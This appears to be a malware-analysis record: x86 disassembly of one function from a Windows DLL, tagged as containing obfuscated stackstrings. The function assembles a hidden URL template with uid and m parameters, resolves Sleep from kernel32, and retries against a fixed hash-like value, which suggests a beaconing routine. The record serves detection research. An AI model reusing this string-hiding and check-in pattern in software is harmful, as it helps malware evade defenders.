Function at 0x100244e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x48c
mov eax, dword [0x1008a00c]
xor eax, esp
mov dword [esp + 0x488], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 0x14]
push edi
push 0x400
mov dword [0x1009054c], eax
lea eax, [esp + 0x94]
push 0
push eax
mov dword [0x10090548], esi
call fcn.10008270
add esp, 0xc
test esi, esi
je 0x10024551
mov esi, dword [esi]
test esi, esi
je 0x10024551
lea eax, [esi + 4]
push eax
lea eax, [esp + 0x94]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [0x10090548]
mov ecx, esi
mov edx, dword [esi]
mov dword [eax], edx
call fcn.1002e780
xor bl, bl
mov dword [esp + 0x75], 0x252f2f3a
mov byte [esp + 0x13], bl
mov word [esp + 0x7e], 0x6870
mov word [esp + 0x81], 0x753f
mov word [esp + 0x70], 0x7468
mov word [esp + 0x87], 0x2673
mov word [esp + 0x84], 0x3d64
mov word [esp + 0x73], 0x7370
mov dword [esp + 0x79], 0x63692f73
mov byte [esp + 0x72], 0x74
mov dword [esp + 0x8a], 0x73253d
mov byte [esp + 0x7d], 0x2e
mov byte [esp + 0x86], 0x25
mov byte [esp + 0x83], 0x69
mov byte [esp + 0x80], 0x70
mov byte [esp + 0x89], 0x6d
call fcn.10001640
mov ecx, eax
test ecx, ecx
je 0x10024aef
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
lea ecx, [esp + 0x14]
mov dword [esp + 0x20], eax
call fcn.10001870
push str.1a2a336e3f56418a9b12c115e692f648
lea ecx, [esp + 0x94]
push ecx
push dword [eax]
lea eax, [esp + 0x7c]
push eax
lea eax, [esp + 0x30]
push eax
call fcn.10003ca0
mov edx, dword [esp + 0x28]
add esp, 0x14
add edx, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x10024630
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [esp + 0x20]
xor esi, esi
mov dword [esp + 0x14], esi
nop word [eax + eax]
lea eax, [esp + 0x24]
mov dword [esp + 0x24], 0
push eax
push edi
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], 0xf
call fcn.1002d280
test al, al
je 0x10024877
cmp dword [esp + 0x38], 0x10
lea esi, [esp + 0x24]
cmovae esi, dword [esp + 0x24]
call fcn.10001640
mov ecx, eax
test ecx, ecx
je 0x10024aef
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
lea ecx, [esp + 0x18]
push esi
mov dword [esp + 0x1c], eax
call fcn.10003150
test al, al
jne 0x100246c4
test esi, esi
jne 0x100246aa
xor ecx, ecx
jmp 0x100246b9
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100246b0
sub ecx, edx
push ecx
push esi
lea ecx, [esp + 0x20]
call fcn.10003830
mov esi, dword [esp + 0x18]
xor ebx, ebx
mov al, byte [esi]
test al, al
je 0x1002473f
mov edi, esi
movsx eax, al
push eax
call fcn.1000ce20
add esp, 4
test eax, eax
je 0x100246ed
test ebx, ebx
mov eax, edi
cmovne eax, ebx
mov ebx, eax
jmp 0x100246ef
xor ebx, ebx
push edi
call fcn.10009eae
mov edi, eax
add esp, 4
mov al, byte [edi]
test al, al
jne 0x100246d2
mov edi, dword [esp + 0x20]
test ebx, ebx
je 0x1002473f
sub ebx, esi
js 0x10024ae5
mov eax, dword [esi - 8]
mov ecx, 1
sub ecx, dword [esi - 4]
sub eax, ebx
or eax, ecx
jge 0x1002472f
push ebx
lea ecx, [esp + 0x1c]
call fcn.100037c0
mov esi, dword [esp + 0x18]
cmp ebx, dword [esi - 8]
jg 0x10024ae5
mov dword [esi - 0xc], ebx
mov byte [ebx + esi], 0
movsx eax, byte [esi]
mov ebx, esi
push eax
call fcn.1000ce20
add esp, 4
test eax, eax
je 0x10024823
push ebx
call fcn.10009eae
mov ebx, eax
add esp, 4
movsx ecx, byte [ebx]
push ecx
call fcn.1000ce20
add esp, 4
test eax, eax
jne 0x10024755
cmp ebx, esi
je 0x10024823
mov edx, dword [esi - 0xc]
sub ebx, esi
test edx, edx
js 0x10024ae5
mov eax, dword [esi - 8]
mov ecx, 1
sub ecx, dword [esi - 4]
sub eax, edx
or eax, ecx
jge 0x100247a4
push edx
lea ecx, [esp + 0x1c]
call fcn.100037c0
mov esi, dword [esp + 0x18]
mov eax, dword [esi - 0xc]
lea edx, [ebx + esi]
sub eax, ebx
mov dword [esp + 0x1c], eax
lea ecx, [eax + 1]
test ecx, ecx
je 0x100247fc
test edx, edx
jne 0x100247d2
call fcn.1000d76a
mov dword [eax], 0x16
call fcn.1000d57c
mov eax, 0x16
jmp 0x100247fe
mov eax, dword [esi - 0xc]
inc eax
cmp eax, ecx
jae 0x100247f1
call fcn.1000d76a
mov dword [eax], 0x22
call fcn.1000d57c
mov eax, 0x22
jmp 0x100247fe
push ecx
push edx
push esi
call fcn.10007cf0
add esp, 0xc
xor eax, eax
push eax
call fcn.10001320
mov eax, dword [esp + 0x20]
add esp, 4
test eax, eax
js 0x10024ae5
cmp eax, dword [esi - 8]
jg 0x10024ae5
mov dword [esi - 0xc], eax
mov byte [eax + esi], 0
lea eax, [esp + 0x90]
push eax
push esi
call fcn.1000c96f
add esp, 8
test eax, eax
sete bl
mov byte [esp + 0x13], bl
test eax, eax
je 0x10024a8d
push str.1a2a336e3f56418a9b12c115e692f648
push esi
call fcn.1000c96f
add esp, 8
test eax, eax
je 0x10024a8d
add esi, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x10024873
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, dword [esp + 0x14]
lea eax, [esp + 0x60]
mov word [esp + 0x45], 0x656c
push eax
mov word [esp + 0x4c], 0x70
mov byte [esp + 0x48], 0x53
mov byte [esp + 0x4b], 0x65
mov word [esp + 0x68], 0x6c65
mov dword [esp + 0x6b], 0x6c642e32
mov byte [esp + 0x6a], 0x33
mov word [esp + 0x6f], 0x6c
mov dword [esp + 0x64], 0x6e72654b
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [esp + 0x44]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100248d4
push 0x3e8
call eax
mov edx, dword [esp + 0x38]
cmp edx, 0x10
jb 0x1002490a
mov ecx, dword [esp + 0x24]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10024900
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10024ae0
push edx
push ecx
call fcn.100068a5
add esp, 8
inc esi
mov dword [esp + 0x14], esi
cmp esi, 5
jl 0x10024640
mov dword [esp + 0x59], 0x64255f
mov word [esp + 0x57], 0x6369
mov word [esp + 0x54], 0x7469
mov byte [esp + 0x56], 0x69
call fcn.10001640
mov ecx, eax
test ecx, ecx
je 0x10024aef
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x14], eax
xor eax, eax
test bl, bl
setne al
push eax
lea eax, [esp + 0x58]
push eax
lea eax, [esp + 0x1c]
push eax
call fcn.10003ca0
mov ebx, dword [esp + 0x20]
add esp, 8
add ebx, 0xfffffff0
mov esi, esp
push ebx
call fcn.10003730
add eax, 0x10
mov dword [esi], eax
mov esi, esp
call fcn.10001640
test eax, eax
je 0x10024aef
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov ecx, esi
mov dword [esi], eax
lea eax, [esp + 0x98]
push eax
call fcn.10003150
test al, al
jne 0x100249cd
lea ecx, [esp + 0x98]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100249b4
sub ecx, edx
lea eax, [esp + 0x98]
push ecx
push eax
mov ecx, esi
call fcn.10003830
call fcn.1002a560
add esp, 8
mov dword [esp + 0x3d], 0x657572
cmp dword [0x10090548], 0
mov byte [esp + 0x3c], 0x74
mov word [esp + 0x4f], 0x6573
mov word [esp + 0x4c], 0x6166
mov byte [esp + 0x4e], 0x6c
mov byte [esp + 0x51], 0
je 0x10024a4c
mov edx, dword [0x1009054c]
mov ecx, 0x40
lea edx, [edx + 0x404]
call fcn.1002ded0
cmp byte [esp + 0x13], 0
lea ecx, [esp + 0x3c]
mov esi, eax
lea eax, [esp + 0x4c]
push 0xffffffffffffffff
cmove ecx, eax
push ecx
push dword [0x1009054c]
lea ecx, [esi + 4]
push ecx
call fcn.1000e56e
mov ecx, dword [0x10090548]
add esp, 0x10
mov eax, dword [ecx]
mov dword [esi], eax
mov dword [ecx], esi
or esi, 0xffffffff
mov eax, esi
lock xadd dword [ebx + 0xc], eax
dec eax
test eax, eax
jg 0x10024a63
mov ecx, dword [ebx]
push ebx
mov eax, dword [ecx]
call dword [eax + 4]
add edi, 0xfffffff0
lock xadd dword [edi + 0xc], esi
dec esi
test esi, esi
jg 0x10024a78
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [esp + 0x494]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10006166
mov esp, ebp
pop ebp
ret
add esi, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x10024aa5
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [esp + 0x38]
cmp edx, 0x10
jb 0x10024918
mov ecx, dword [esp + 0x24]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10024ad1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10024ae0
push edx
push ecx
call fcn.100068a5
add esp, 8
jmp 0x10024918
call fcn.1000d58c
push 0x80070057
call fcn.10001300
push 0x80004005
call fcn.10001300
int3